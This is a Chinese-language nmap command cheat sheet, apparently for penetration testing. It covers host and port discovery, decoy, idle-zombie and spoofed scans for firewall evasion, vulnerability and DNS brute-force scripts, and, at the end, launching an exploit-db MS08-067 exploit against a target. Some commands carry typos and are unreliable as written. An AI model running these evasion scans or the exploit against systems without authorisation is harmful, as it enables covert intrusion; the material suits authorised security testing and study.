适用所有大小网络最好的 nmap 扫描策略
# 主机发现,生成存活主机列表
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt
# 端口发现,发现大部分常用端口
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
# 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
# 显示 TCP\UDP 端口
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'
# 侦测服务版本
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
# 扫做系统扫描
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
# 系统和服务检测
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
Nmap – 躲避防火墙
# 分段
$ nmap -f
# 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)
$ nmap --mtu 24
# 生成随机数量的欺骗
$ nmap -D RND:10 [target]
# 手动指定欺骗使用的 IP
$ nmap -D decoy1,decoy2,decoy3 etc.
# 僵尸网络扫描, 首先需要找到僵尸网络的IP
$ nmap -sI [Zombie IP] [Target IP]
# 指定源端口号
$ nmap --source-port 80 IP
# 在每个扫描数据包后追加随机数量的数据
$ nmap --data-length 25 IP
# MAC 地址欺骗,可以生成不同主机的 MAC 地址
$ nmap --spoof-mac Dell/Apple/3Com IP
Nmap 进行 Web 漏洞扫描
cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
Nmap 端口扫描
1)使用诱饵隐蔽扫描 nmap -D RND:10 [target] (生成随机数量的诱饵)
2)fargement
3)data packed – like orginal one not scan packet
4)使用 auxiliary/scanner/ip/ipidseq 来在僵尸网络中查找IP并使用这些IP进行扫描 — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target (随机使用不同的IP进行扫描)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (使用 NSE 脚本)
nmap -sU -P0 -T Aggressive -p123 target (攻击式扫描 T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (版本检测)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (全部使用默认配置)
使用 Nmap 爆破 DNS 记录
$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com
使用 Nmap 识别防火墙
$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102
$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102
$ wafw00f www.example.com
MS08-067 - 不使用 Metasploit
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1